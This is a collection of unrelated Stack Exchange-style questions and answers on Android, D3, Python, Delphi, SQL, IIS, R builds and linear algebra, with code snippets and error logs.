Q: locationManager.getBestProvider return null I have a problem with provider apparently, my app crashes on launch although i enabled COARSE and FINE location permissions in my manifest. I have also INTERNET permission added.
My code :
locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    provider = locationManager.getBestProvider(new Criteria(), false);

    if (ActivityCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
        ActivityCompat.requestPermissions(
                this,
                new String[]{android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION},
                PERMISSION_LOCATION_REQUEST_CODE);
    }
    locationManager.requestLocationUpdates(provider, 400, 1, this);

And here is the logcat:
E/AndroidRuntime: FATAL EXCEPTION: main
              Process: com.project.korsa.korsa, PID: 32462
              java.lang.RuntimeException: Unable to start activity ComponentInfo{com.project.korsa.korsa/com.project.korsa.korsa.YourLocation}: java.lang.IllegalArgumentException: invalid provider: null
                  at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3305)
                  at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3401)
                  at android.app.ActivityThread.access$1100(ActivityThread.java:229)
                  at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1821)
                  at android.os.Handler.dispatchMessage(Handler.java:102)
                  at android.os.Looper.loop(Looper.java:148)
                  at android.app.ActivityThread.main(ActivityThread.java:7303)
                  at java.lang.reflect.Method.invoke(Native Method)
                  at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1230)
                  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1120)
               Caused by: java.lang.IllegalArgumentException: invalid provider: null
                  at android.location.LocationManager.checkProvider(LocationManager.java:1761)
                  at android.location.LocationManager.requestLocationUpdates(LocationManager.java:464)
                  at com.project.korsa.korsa.YourLocation.onCreate(YourLocation.java:135)
                  at android.app.Activity.performCreate(Activity.java:6904)
                  at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1136)
                  at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3252)
                  at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3401)
                  at android.app.ActivityThread.access$1100(ActivityThread.java:229)
                  at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1821)
                  at android.os.Handler.dispatchMessage(Handler.java:102)
                  at android.os.Looper.loop(Looper.java:148)
                  at android.app.ActivityThread.main(ActivityThread.java:7303)
                  at java.lang.reflect.Method.invoke(Native Method)
                  at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1230)
                  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1120)

A: check this anwser
https://stackoverflow.com/a/10688606/3973521

In your call to getBestProvider() you've asked for enabled providers
  only (that's the second parameter in the method call which you have
  set to true). If the user has disabled all providers, you will get
  null.


text:
Q: Spearman's correlation as a parameter Spearman's rank correlation for a bivariate sample $\{ (x_1, y_1), (x_2, y_2) , \ldots , (x_n, y_n) \}$ is generally defined as the correlation between the ranks of the observations, but what is the population analog of this?  I think I recall seeing that in the continuous case at least it can be thought of as $\text{Corr}[F(X), G(Y)]$ where $F$ and $G$ are the distribution functions of $X$ and $Y$.  This makes some sense since in calculating the correlation between the ranks in the sample case you could always divide through by $n$ and be looking at the values of the empirical distribution functions.  In any event, is there another interpretation?  Can it somehow be defined at the distribution level as something other than a correlation?

A: There's an interpretation given in some work on copulas.
e.g. see p 15 of Embrechts et al (2001) [1], which has for the Spearman correlation of $(X,Y)^T$:
$\rho_S(X,Y)=3(\mathbb{P}\{(X-\tilde{X})(Y-Y')>0\}-\mathbb{P}\{(X-\tilde{X})(Y-Y')<0\})$
where $(X, Y)^T$, $(\tilde{X},\tilde{Y})^T$
and $(X',Y')^T$ are independent copies. (It then goes on to show your interpretation holds for that definition.)
[1] Paul Embrechts, Filip Lindskog and Alexander McNeil (2001),
"Modelling Dependence with Copulas and Applications to Risk Management"
http://www.risklab.ch/ftp/papers/DependenceWithCopulas.pdf
(alternative link)


text:
Q: D3js make the text label draggable I am following this example http://jsfiddle.net/enigmarm/3HL4a/13/ for making a bar chart. What I would like to do along with making the chart is make the data-labels draggable. How can I achieve that? I have tried calling the on drag behavior without any result. All I am getting is NaN as the input for the transform function.
var w = 600;
var h = 250;

var dataset = [
{ key: 0, value: 5 },
{ key: 1, value: 10 },
{ key: 2, value: 13 },
{ key: 3, value: 19 },
{ key: 4, value: 21 },
{ key: 5, value: 25 },
{ key: 6, value: 22 },
{ key: 7, value: 18 },
{ key: 8, value: 15 },
{ key: 9, value: 13 },
{ key: 10, value: 11 },
{ key: 11, value: 12 },
{ key: 12, value: 15 },
{ key: 13, value: 20 },
{ key: 14, value: 18 },
{ key: 15, value: 17 },
{ key: 16, value: 16 },
{ key: 17, value: 18 },
{ key: 18, value: 23 },
{ key: 19, value: 25 } ];

var xScale = d3.scale.ordinal()
            .domain(d3.range(dataset.length))
            .rangeRoundBands([0, w], 0.05);

var yScale = d3.scale.linear()
            .domain([0, d3.max(dataset, function(d) {return d.value;})])
            .range([0, h]);

var key = function(d) {
return d.key;
};

//Create SVG element
var svg = d3.select("body")
        .append("svg")
        .attr("width", w)
        .attr("height", h);

//Create bars
svg.selectAll("rect")
.data(dataset, key)
.enter()
.append("rect")
.attr("x", function(d, i) {
    return xScale(i);
})
.attr("y", function(d) {
    return h - yScale(d.value);
})
.attr("width", xScale.rangeBand())
.attr("height", function(d) {
    return yScale(d.value);
})
.attr("fill", function(d) {
    return "rgb(0, 0, " + (d.value * 10) + ")";
})

 //Tooltip
 .on("mouseover", function(d) {
    //Get this bar's x/y values, then augment for the tooltip
    var xPosition = parseFloat(d3.select(this).attr("x")) +          xScale.rangeBand() / 2;
    var yPosition = parseFloat(d3.select(this).attr("y")) + 14;

    //Update Tooltip Position & value
    d3.select("#tooltip")
        .style("left", xPosition + "px")
        .style("top", yPosition + "px")
        .select("#value")
        .text(d.value);
    d3.select("#tooltip").classed("hidden", false)
})
.on("mouseout", function() {
    //Remove the tooltip
    d3.select("#tooltip").classed("hidden", true);
})  ;

//Create labels
svg.selectAll("text")
.data(dataset, key)
.call(drag2)
.enter()
.append("text")
.text(function(d) {
    return d.value;
})
.attr("text-anchor", "middle")
.attr("x", function(d, i) {
    return xScale(i) + xScale.rangeBand() / 2;
})
  .attr("y", function(d) {
    return h - yScale(d.value) + 14;
  })
  .attr("font-family", "sans-serif")
  .attr("font-size", "11px")
   .attr("fill", "white");

 var sortOrder = false;
var sortBars = function () {
sortOrder = !sortOrder;

sortItems = function (a, b) {
    if (sortOrder) {
        return a.value - b.value;
    }
    return b.value - a.value;
};

svg.selectAll("rect")
    .sort(sortItems)
    .transition()
    .delay(function (d, i) {
    return i * 50;
})
    .duration(1000)
    .attr("x", function (d, i) {
    return xScale(i);
});

svg.selectAll('text')
    .sort(sortItems)
    .transition()
    .delay(function (d, i) {
    return i * 50;
})
    .duration(1000)
    .text(function (d) {
    return d.value;
})
    .attr("text-anchor", "middle")
    .attr("x", function (d, i) {
    return xScale(i) + xScale.rangeBand() / 2;
})
    .attr("y", function (d) {
    return h - yScale(d.value) + 14;
});
};
// Add the onclick callback to the button
d3.select("#sort").on("click", sortBars);
d3.select("#reset").on("click", reset);
function randomSort() {

svg.selectAll("rect")
    .sort(sortItems)
    .transition()
    .delay(function (d, i) {
    return i * 50;
})
    .duration(1000)
    .attr("x", function (d, i) {
    return xScale(i);
});

svg.selectAll('text')
    .sort(sortItems)
    .transition()
    .delay(function (d, i) {
    return i * 50;
})
    .duration(1000)
    .text(function (d) {
    return d.value;
})
    .attr("text-anchor", "middle")
    .attr("x", function (d, i) {
    return xScale(i) + xScale.rangeBand() / 2;
})
    .attr("y", function (d) {
    return h - yScale(d.value) + 14;
});
}

var drag2 = d3.behavior.drag()
.on("drag", function(d,i) {
    d3.select(this)
    .attr("transform", function( d, i) {
    d.x += d3.event.dx;
    d.y += d3.event.dy;

    return "translate(" + [ d3.event.dx,d3.event.dy ] + ")"
});

 function reset() {
 svg.selectAll("rect")
    .sort(function(a, b){
        return a.key - b.key;
    })
    .transition()
    .delay(function (d, i) {
    return i * 50;
    })
    .duration(1000)
    .attr("x", function (d, i) {
    return xScale(i);
    });

    svg.selectAll('text')
    .sort(function(a, b){
        return a.key - b.key;
    })
    .transition()
    .delay(function (d, i) {
    return i * 50;
    })
    .duration(1000)
    .text(function (d) {
    return d.value;
    })
    .attr("text-anchor", "middle")
    .attr("x", function (d, i) {
     return xScale(i) + xScale.rangeBand() / 2;
     })
    .attr("y", function (d) {
    return h - yScale(d.value) + 14;
});
};

A: I am not exactly sure how you want the drag function to behave, So I have made it work. You can simply do whatever you want inside the .on('drag') function. Here is the fiddle. Feel free to ask if you have any questions.
EDIT : Now you can move the text label along the y-axis. Instead of transform I just change the y attribute of the text with the mouse.
//Create labels
svg.selectAll("text")
        .data(dataset, key)
        .enter()
        .append("text")
        .text(function (d) {
            return d.value;
        })
        .attr("text-anchor", "middle")
        .attr("x", function (d, i) {
            return xScale(i) + xScale.rangeBand() / 2;
        })
        .attr("y", function (d) {
            return h - yScale(d.value) + 14;
        })
        .attr("font-family", "sans-serif")
        .attr("font-size", "11px")
        .attr("fill", "white")
        .call(d3.behavior.drag()
                .origin(function () {
                    var t = d3.select(this);
                    return {x : t.attr('x'), y: t.attr('y')}
                })
                .on('drag', function (d, i) {
                    console.log('dragging text');

                    d3.select(this).attr('y', function () {

                        return d3.mouse(this)[1];

                    });

                }))
;


text:
Q: Exit gracefully if file doesn't exist I have following script in Python 3.2.3:
try:
    file = open('file.txt', 'r')
except IOError:
    print('There was an error opening the file!')
    sys.exit()

#more code that is relevant only if the file exists

How do I exit gracefully, if the file doesn't exist (or there is simply an error opening it)?
I can use exit(), but that opens a dialog panel asking if I want to kill the application.
I can use sys.exit(), but that raises a SystemExit exception which doesn't looks great in output. I get
Traceback (most recent call last):
File "file", line 19, in <module>
    sys.exit() SystemExit

I can use os.exit(), but that kills the Python on C level, without any cleanups I might be performing.
I can use a boolean variable and wrap all subsequent code in if... but that is ugly, and this is not the only check I am performing. So I would have like six nested ifs...
I just want to print the 'There was an error...' and exit. I am working in IDLE.

A: This is a very graceful way to do it. The SystemExit traceback won't be printed outside of IDLE. Optionally you can use sys.exit(1) to indicate to the shell that the script terminated with an error.
Alternatively you could do this in your "main" function and use return to terminate the application:
def main():
    try:
        file = open('file.txt', 'r')
    except IOError:
        print('There was an error opening the file!')
        return

    # More code...

if __name__ == '__main__':
    main()

Here the main execution code of the application is encapsulated in a single function called "main", then executed only if the script is executed directly by the Python interpreter, or in other words, if the script it not being imported by another script. (The __name__ variable is set to "__main__" if the script is being executed directly from the command line. Otherwise it will be set to the name of the module.)
This has the advantage of gathering all script execution logic into a single function, making your script cleaner, and enables you to cleanly exit your script using the return statement, just like in most compiled languages.

A: Using sys.exit() is fine. If you're that concerned with output, you can always add an extra try/except block within your error handling section to catch the SystemExit and stop it from being directed to console output.
try:
    file = open('file.txt', 'r')
except IOError:
    try:
        print('There was an error opening the file!')
        sys.exit()
    except SystemExit:
        #some code here that won't impact on anything


text:
Q: How to foreach loop data in Controller using addonisjs How to foreach data and update data in loop using adonisjs  I wannt to do something like this
in php I do this
$emp = Employee::all()

foreach($emp as $data) {
 $emp_store = Store::where('emp_id', $emp->id);
 $emp_store->name = $emp_name;
 $emp->save()
}

but after I change into adonisjs How can I do something like this in Controller . Now I try to do
const emp =  await Employee.all();
    for(var val of emp) {
     // I want to update data using each emp id
      console.log(val)
    }

after I try to do I got an error said emp is not iterable

A: I just find it
for(let i in emp.rows) {
      const lobby = emp.rows[i]
      console.log(lobby) // you should be able to have access to name now
}

thnks

A:
To convert a serializable instance to a plain array/object, call its toJSON method:

const json = emp.toJSON()

With this you can loop through the array


text:
Q: change action bar title color Theme.AppCompat.Light.DarkActionBar android I wants to change the action bar title color to white in android . and i am using theme in values Theme.AppCompat.Light and values-14 Theme.AppCompat.Light.DarkActionBar
I have tried so far
in values folder :
<style name="AppBaseTheme" parent="Theme.AppCompat.Light">
    <item name="actionBarStyle">@style/MyActionBar</item>
</style>

<style name="MyActionBar" parent="@style/Widget.AppCompat.Light.ActionBar.Solid.Inverse">
    <item name="android:textColor">@android:color/white</item>
</style>

and values -14 folder
  <style name="AppBaseTheme" parent="Theme.AppCompat.Light.DarkActionBar">
    <item name="actionBarStyle">@style/MyActionBar</item>
</style>

<!-- ActionBar styles -->
<style name="MyActionBar" parent="@style/Widget.AppCompat.Light.ActionBar.Solid.Inverse">
    <item name="android:textColor">@android:color/white</item>
</style>

but ActionBar title color is not changing.

A: You can specify the background color of the ActionBar by using the colorPrimary attribute; something like the following:
    <style name="AppBaseTheme" parent="Theme.AppCompat.Light">
    <item name="colorPrimary">@android:color/white</item>
    </style>

The above is a special tag created for AppCompat; you will notice that the android: namespace is omitted.

A: If you are using Theme.AppCompat.Light.NoActionBar do
<android.support.v7.widget.Toolbar  xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:layout_height="wrap_content"
    android:layout_width="match_parent"
    android:minHeight="?attr/actionBarSize"
    android:background="@color/background_material_dark"
    app:theme="@style/ThemeOverlay.AppCompat.Dark.ActionBar"
    app:popupTheme="@style/ThemeOverlay.AppCompat.Light"/>

A: You should also check that in you layout xml file you don't have an android:theme attribute specified, which would have priority over the main theme


text:
Q: writing a vector in a specific form based on restrictions Given $\vec{a}=[2,1,1]$ and $\vec{b}=[3,2,5]$. Write $\vec{a}$ in the form $\vec{a}=\vec{a_1}+\vec{a_2}$ where $\vec{a_1}$ is parallel to $\vec{b}$ and $\vec{a_2}$ is orthogonal to $\vec{b}$
I'm not quite sure what to do this question. I'm pretty sure that  $\vec{a_1}\times\vec{b}=0$ and $\vec{a_2}\cdot\vec{b}=0$ Furthermore, if we let $\vec{a_1}=[x_1,y_1,z_1]$ and $\vec{a_2}=[x_2,y_2,z_2]$ then $x_1+x_2=2, y_1+y_2=1, z_1+z_2=1$.
However, even with this information it still feels like I'm just guessing and checking different values and seeing if they work.

A: HINT:
With $\vec{a_1}||\vec{b}, \vec{a_2}\perp \vec{b}$, set $\vec{a_1}=[3x,2x,5x], \vec{a_2}=[a,b,c] \to $
\begin{align}\vec{a}=\vec{a_1}+\vec{a_2}=[3x+a,2x+b,5x+c]=[2,1,1]\end{align}\begin{align}3x+a=2 \tag 1,2x+b=1,5x+c=1\end{align} \begin{align}\vec{a_2}\cdot\vec{b}=[a,b,c]\cdot[3,2,5]=3a+2b+5c=0 \tag 2\end{align}
Given 4 linear equations (1) and (2) with 4 unknown variables, you can solve these equations from here.

A: Write $\vec a$ as$$\left(\vec a.\frac{\vec b}{\left\|\vec b\right\|}\right)\frac{\vec b}{\left\|\vec b\right\|}+\left(\vec a-\left(\vec a.\frac{\vec b}{\left\|\vec b\right\|}\right)\frac{\vec b}{\left\|\vec b\right\|}\right)=\frac1{38}(39,26,65)+\frac1{38}(37,12,-27).$$Can you check that the first of these vectors is parallel to $\vec b$ and that the second one is orthogonal to it?


text:
Q: Home button is not clickable Inside my SettingsActivity extends AppCompatActivity  I have SettingsFragment extends PreferenceFragment. When I try press home-buttion in toolbar it is not working. Here is my code
toolbar.xml
<?xml version="1.0" encoding="utf-8"?>
<android.support.v7.widget.Toolbar
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/settingsToolbar"
    android:layout_width="match_parent"
    android:clickable="true"
    android:focusable="true"
    android:focusableInTouchMode="true"
    android:layout_height="?android:actionBarSize"
    android:background="@color/colorPrimary" />

SettingsActivity
@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        setupToolBar();
        getFragmentManager().beginTransaction()
                .replace(android.R.id.content, new SettingsFragment())
                .commit();

    }

  private void setupToolBar() {
    getLayoutInflater().inflate(R.layout.toolbar, (ViewGroup) findViewById(android.R.id.content));
    Toolbar toolbar = (Toolbar) findViewById(R.id.settingsToolbar);
    setSupportActionBar(toolbar);
    setTitle(getResources().getString(R.string.settings));
    getSupportActionBar().setDisplayHomeAsUpEnabled(true);
    toolbar.setFocusable(true);

    toolbar.setNavigationOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            onBackPressed();
        }
    });
}

I tried  to solve it in such way: remove setNavigationOnClickListener and add this:
@Override
public boolean onOptionsItemSelected(MenuItem menuItem) {
    switch (menuItem.getItemId()) {
        case android.R.id.home:
            onBackPressed();
             return true;
        }
        return (super.onOptionsItemSelected(menuItem));
    }

It does not help. How can I fix this?

A: add this line to config your getSupportActionBar:
getSupportActionBar().setHomeButtonEnabled(true);

use both code in your activity like below:
in your setupToolbar method:
toolbar.setNavigationOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
//                Log.d("cek", "home selected");
                finish();
            }
        });

and in your onOptionsItemSelected method:
if (item.getItemId() == android.R.id.home) {
        finish();
    }
    return super.onOptionsItemSelected(item);


text:
Q: Accessing calendars with EventKit on pyobjc (trouble passing entityType) I'm aware this might be a dumb question, but I can't figure out how to translate this simple Swift statement (didn't find an Objective-C example) into pyobjc:
let calendars = EventStore.calendars(for entityType:.Events)

What I got so far (trying out different options):
from EventKit import EKEventStore

ek_event_store = EKEventStore.alloc().init()
default_cal = ek_event_store.defaultCalendarForNewReminders()  # works, but not the calendar I wish to access

my_cal_identifier = 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX'
my_cal = ek_event_store.calendar(my_cal_identifier))  # Error: 'EKEventStore' object has no attribute 'calendar'

calendars = ek_event_store.calendars()  # value is None. I don't know how to pass it the entityType

So I guess my problem is not knowing

*

*what the entityType is supposed to be (type? value?)

*how to pass the entityType to the calendars function.

A: I figured it out (using the dir function on the event store object and on a calendar object)
from EventKit import EKEventStore

ek_event_store = EKEventStore.alloc().init()

my_cal_identifier = 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX'
my_cal = ek_store.calendarWithIdentifier_(cal_tcv_intern_id)

all_my_calendars = ek_store.calendarsForEntityType_(0)

I didn't find the Event types in the documentation, but with trial and error, I figured it out:

*

*0: calendar

*1: reminder

So I also gained some better insight how pyobjc is working:
EventStore.calendars(for entityType:.Events) becomes EventStore.calendardsForEntityType(event_type).
I was also wondering why the "calendar" function could not be found, now I understand that it bacame calendarWithIdentifier in pyobjc.


text:
Q: mysql how to show some rows of table depending on one field and depending on one field in other table? I have a script where members login and read posts by catagory that I have in
Table called posts, then they click a button and an entry is inserted into Table
called postsread collecting the postname, their memberid, and the date showing
that it had been read by them. What I am looking for is a query that will
display to them only the posts that they have not already read.

**Tables**         **Fields**
posts          id, name, date, from, topic, info, cat
postsread      id, postname, memberid, date
users          id, memberid, pass, fname, lname, email

Sessions is already holding their $_SESSION['memberid'], but am unsure of how
to query between the two tables to get what I'm looking for.
It would be like: Show all posts in Posts except those in Postsread with the members
memberid next to the corresponding postname.
I am using php version 5.3, and mysql 5.0.96.
I am using the following to display posts from database:
$sql=mysql_query("SELECT * FROM posts WHERE cat='1' ORDER BY date DESC");
But this does not differentiate between if the member has clicked stating they have
seen them yet or not.
I have looked many places and see examples that are close but just cant get any to
fit what I am needing. I don't fully understand how to write this. I have tried many
with no success. If you need extra description please ask. Thank you for your time.

A: You need to construct a JOIN condition against the posts_read table, or use an IN clause to exclude them. You should be very careful with your indexes as these sorts of queries can get extremely slow and database intensive with non-trivial amounts of data.
SELECT * FROM posts WHERE cat=:cat AND name NOT IN (SELECT postname FROM postsread WHERE memberid=:memberid)

Here :cat and :memberid are placeholders for the appropriate values. Using PDO you can bind directly to those using the execute function.
As a note, joining on strings is a lot slower than joining on id type values. You might want to make your postsread table reference id from posts instead.

A: sql=mysql_query("SELECT * FROM posts WHERE cat='1' AND name NOT IN (SELECT postname FROM postsread WHERE memberid='$memberid') ORDER BY date DESC") or die (mysql_error());
Tadman was right on with his answer; I had something in the code that was not supposed to be there, but could not find it. Eventually I just rewrote the thing and it worked. The above worked for me, and I thank you Tadman for your help.


text:
Q: how can i fix indexError: index out of range i've got this code on replit, but when i run it, it has a error: IndexError: string index out of range. Does anyone know how i can fix this? I have tried changing the variable i to a number, to test if it worked then, but then it did not even output something. here is the link: https://replit.com/@IamLoLGamer1002/encodingdecoding?v=1

A: Try always to use the expression that checks for range - if traversing an array - in the while condition:
Instead of
 while True:
    idx = str(code[int(inp[i] + inp[i + 1])])
    i += 2
    if idx == '00':
      break
    value += idx
  return value

your code should look something like:
while (i+1) < len(inp):
   idx = str(code[int(inp[i] + inp[i + 1])])
   i += 2
   if idx == '00':
     break
   value += idx
return value


text:
Q: Jest Testing React Context I am new to testing and have been trying to solve this problem for a while now.  Although I can find similar posts I haven't found anything that has worked for me.  I think the issue might be because my AppContext is set up a bit differently than others.
I have an AppContext that looks like this:
const AppContext = React.createContext();

export class AppContextProvider extends Component {
  constructor(props) {
    super(props);
    this.state = {
      predefinedRoles: [
        {role_type : "2nd Project Manager", profile: {user: {first_name : '', last_name: ''}}},
        {role_type : "Executive Sponsor", profile: {user: {first_name : '', last_name: ''}}},
        {role_type : "CFO or Finance Contact", profile: {user: {first_name : '', last_name: ''}}},
        {role_type : "OI & T Contact", profile: {user: {first_name : '', last_name: ''}}},
        {role_type : "Payroll Contact", profile: {user: {first_name : '', last_name: ''}}},
        {role_type : "Human Resources Contact", profile: {user: {first_name : '', last_name: ''}}}
      ],
    };
  }
  render() {
    return (
      <AppContext.Provider
        value={{
          predefinedRoles: this.predefinedRoles,
        }}
      >
        {this.props.children}
      </AppContext.Provider>
    );
  }
}

export const withContext = Component => {
  return function AppContextComponent(props) {
    return (
      <AppContext.Consumer>
        {globalState => <Component {...globalState} {...props} />}
      </AppContext.Consumer>
    );
  };
};

What I want to do is test whether these Context values are being mapped properly into another component.
Here is my mapping component:
export const AssignRoles = props => {
  const predefinedRoles = props
  return (
            <div className={styles.rolesPage} id="assign-roles-roles-page">
          {predefinedRoles.map((roles, id)=> {
              return(<AssignRolesCard organizationRoles={roles} key={id} handleFormOpen={handleFormOpen} updateCreateOrEdit={updateCreateOrEdit}/>)
          })}
        </div>
  )
}

export default withContext(AssignRoles);

I have been trying to write a test which checks if AssignRoles is rendering but I get a failure saying 'cannot read property map of undefined'.
I have tried several different combinations of the below code using <AppContext> <AppContext.Provider> <AppContext.Consumer> but I still can't get my test to pass successfully.
let predefinedRoles = [
    {name : "2nd Project Manager", assigned : false},
    {name : "Executive Sponser", assigned: false},
    {name : "CFO or Finance Contact", assigned: false},
    {name : "OI&T Contact", assigned: false},
    {name : "Payroll Contact", assigned: false},
    {name : "HR Contact", assigned: false}
]

it('renders without crashing', () => {
  const div = document.createElement('div');
  ReactDOM.render(<AppContext value={predefinedRoles}><AssignRoles /></AppContext>, div);
});

I've been looking at the React testing Library docs here and trying everything I can think of to match what they have done but I still haven't succeeded.

A: That's should be straight forward, no matter enzyme or react testing library.
Wrap your test component under the provider component.
const componentUnderTest = <AppContextProvider {..allPropsYouNeed}>
<Foo />
</AppContextProvider>
With react-testing-library, you test whether the desired actions or element got rendered with passed context values you need(like if color got changed or rendering differed etc).
With enzyme(mount), you can observe same. But if you want to manually check the props of the component, you can't(as enzyme only allows inspection of props of root component and not children) and you shouldn't. After all the testing is about how your component should behave and not what it takes. (react-testing-library principle)


text:
Q: ASP.NET IIS Application Error Im very new to IIS and ASP.NET.
Im only using it as a script i need uses it.
Ive installed IIS onto my W7 machine and set it all up to use ASP.
However,
When i access the script i just get an error which is the following:
  Description: An error occurred during the processing of a configuration file required to service this request. Please review the specific error details below and modify your configuration file appropriately.

Parser Error Message: It is an error to use a section registered as allowDefinition='MachineToApplication' beyond application level.  This error can be caused by a virtual directory not being configured as an application in IIS.

Source Error:

Line 34:     <globalization culture="en-GB" uiCulture="en-GB"/>
Line 35:     <httpRuntime executionTimeout="3600" maxRequestLength="104856"/>
Line 36:     <sessionState mode="InProc" cookieless="false" timeout="720"/>
Line 37:     <compilation debug="true" targetFramework="4.0">
Line 38:       <assemblies>

As i say im new to this and i have found a few posts around which say do this that and the other but i have no idea how to implement the fixes.
Would be great if someone could give me a step by step guide or point me in the direction of such a thing.
Cheers

A: As is stated in Microsoft's support knowledgebase:

To resolve this problem, remove the virtual directory in IIS. Then,
  re-create the virtual directory and configure it as an application. To
  remove the virtual directory, follow these steps:

*

*Click Start, and then click Control Panel.

*In Control Panel, double-click Administrative Tools, and then double-click Internet Information Services.
Note If the Administrative Tools icon is unavailable in Control Panel, click Switch to Classic View, and then double-click
  Administrative Tools.

*Click the name of the server that you want to configure, and then double-click Web Sites.

*Double-click the name of the Web site that you want to configure.

*Right-click the name of the virtual directory that you want to remove, and then click Delete.

*Click Yes.

  To create a new virtual directory and configure it as an application,
  follow these steps:

*

*Click to select the name of the Web site in which you want to add the new virtual directory.

*On the Action menu, point to New, and then click Virtual Directory.

*In the Virtual Directory Creation Wizard, click Next.

*Type the name of the virtual directory that you want to create, and then click Next.

*Click Browse, select the directory for the application, and then click OK.

*Click Next, and then click Finish.
Note By default, a new application that has the same name as the new virtual directory is created in IIS.


text:
Q: How to overcome 255 character limit on conditional defines? Conditional defines in Delphi are limited to 255 characters. That means that if you have more than 255 characters of defines, they are ignored. E.g.

So the set of conditional defines:
Win32API;AlarmServerEngineVersion27;ImNotUsingOlderSimpleThread;EnableJclExceptionTracking;SaveExceptionsToDatabase;ShowExceptionForm;SNAPIN_NEEDS_NODE_DESCRIPTOR;VIRTUAL_TREES_MOUSE_DOWN_FOCUS_LAST;UseSQLServerLocking;SnapInFactoryFormClassIsOptional;Strict;SIFFCIO;Sqm

The last 3 defines are ignored.
What i need is a way to define conditional defines in the project, while not being limited to 255 characters.
i thought maybe moving the conditional defines to the project source file, perhaps included through in include file:
program ConsotoManager;

{$R *.RES}
{$R '..\Resource\Wumpa.res' '..\Resource\Wumpa.rc'}
{$DEFINE Win32API}
...
{$DEFINE Sqm}
{$DEFINE Strict}

uses
  FastMM4,
  Windows,
  SysUtils,

Unfortunately it doesnt' work. The reason it doesn't work is that you cannot substitute defines for conditional defines; defines only last until the end of the file.
So, how do i overcome the 255 character limit on Conditional Defines in Delphi?

The problem, of course, is how to have project level defines, while have shared source code files (shared files are in their own directories, outside of the project folder).

A: You're almost there with the definitions in the project file, but remember that Delphi isn't C — the compiler doesn't read each mentioned unit in sequence each time it compiles anything, as though all the files were pasted together textually, so things defined in the project file won't be visible outside that file.
However, Delphi is like C in that it supports a directive named include that does cause it to re-read the mentioned file on every compilation. Let's use that.
First, put all your definitions into a separate text file. Let's call it Defines.inc.
{$DEFINE Win32API}
...
{$DEFINE Sqm}
{$DEFINE Strict}

Then include that file into all the source files that need any of those definitions.
program ConsotoManager;

{$R *.RES}
{$R '..\Resource\Wumpa.res' '..\Resource\Wumpa.rc'}
{$INCLUDE Defines.inc}

uses
  FastMM4,
  Windows,

Now you can clear the list in your project options and instead add whatever definitions you need to that file. When you change that file, you might need to do a full build (rather than a simple compile) in order for the changes to take effect.
Also, consider whether you really need so many compilation variables. Maybe some of them are always defined, so it doesn't make sense to check them at compilation time. Maybe some of them are redundant.

A: My Delphi is a little rusty, but I believe you can create a define that represents all those others are defined aswell, so you only have to check for one condition.
{$IF    Defined(Win32API)
    AND Defined(AlarmServerEngineVersion27)
    AND Defined(ImNotUsingOlderSimpleThread)
    AND Defined(EnableJclExceptionTracking)
    AND Defined(SaveExceptionsToDatabase)
    AND Defined(ShowExceptionForm)
    AND Defined(SNAPIN_NEEDS_NODE_DESCRIPTOR)
    AND Defined(VIRTUAL_TREES_MOUSE_DOWN_FOCUS_LAST)
    AND Defined(UseSQLServerLocking)
    AND Defined(SnapInFactoryFormClassIsOptional)
    AND Defined(Strict)
    AND Defined(SIFFCIO)
    AND Defined(Sqm)
}
{$DEFINE I_AM_TOTALLY_READY}
{$IFEND}


text:
Q: How to use grape entity based on value of a field? Anyone worked on Grape & Grape entity i have an issue.
db: Mongoid
I have two models
1. User
2. Answers
every user have package_type: 1 or 2 or 3
and every answer also have package type in array but of single value.
LIKE [1] or [2] or [3].
I want to send those answer in response which have package_type == users.package_type.
user_entity:
expose :answers, as: :profile_info, using: API::V1::Entities::Answer

answer_entity:
module API
    module V1
        module Entities
            class Answer < Grape::Entity
                expose :answer
                expose :question
                expose :package_type
            end
        end
    end
end

A: you can do that filtering from the relation
class User
  has_many :answers, -> { where({answers: {package_type: self.package_type}}) }
end

or from the entity
expose :profile_info do |user, _options|
  API::V1::Entities::Answer.represent(user.answers.where({answers: {package_type: user.package_type}}))
end


text:
Q: How to fix linuxbrew and gcc error while compiling R from source? After updating Fedora to 36 I am trying to compile R from source. Here is what I did following these instructions
wget https://cran.r-project.org/src/base/R-4/R-4.2.0.tar.gz
tar -xzvf R-4.2.0.tar.gz
mkdir R42
cd R-4.2.0
./configure --prefix=/home/andrespara/R42 --enable-memory-profiling  --enable-R-shlib --with-blas   --with-lapack
make

I got this error
mkdir -p -- ../../../../library/tools/libs
make[6]: se sale del directorio '/home/andrespara/R-4.2.0/src/library/tools/src'
make[5]: se sale del directorio '/home/andrespara/R-4.2.0/src/library/tools/src'
make[4]: se sale del directorio '/home/andrespara/R-4.2.0/src/library/tools'
make[4]: se entra en el directorio '/home/andrespara/R-4.2.0/src/library/tools'
installing 'sysdata.rda'
/home/andrespara/R-4.2.0/bin/exec/R: /home/linuxbrew/.linuxbrew/Cellar/gcc/11.3.0_1/lib/gcc/11/libstdc++.so.6: version `GLIBCXX_3.4.30' not found (required by /lib64/libicuuc.so.69)
make[4]: *** [../../../share/make/basepkg.mk:151: sysdata] Error 1
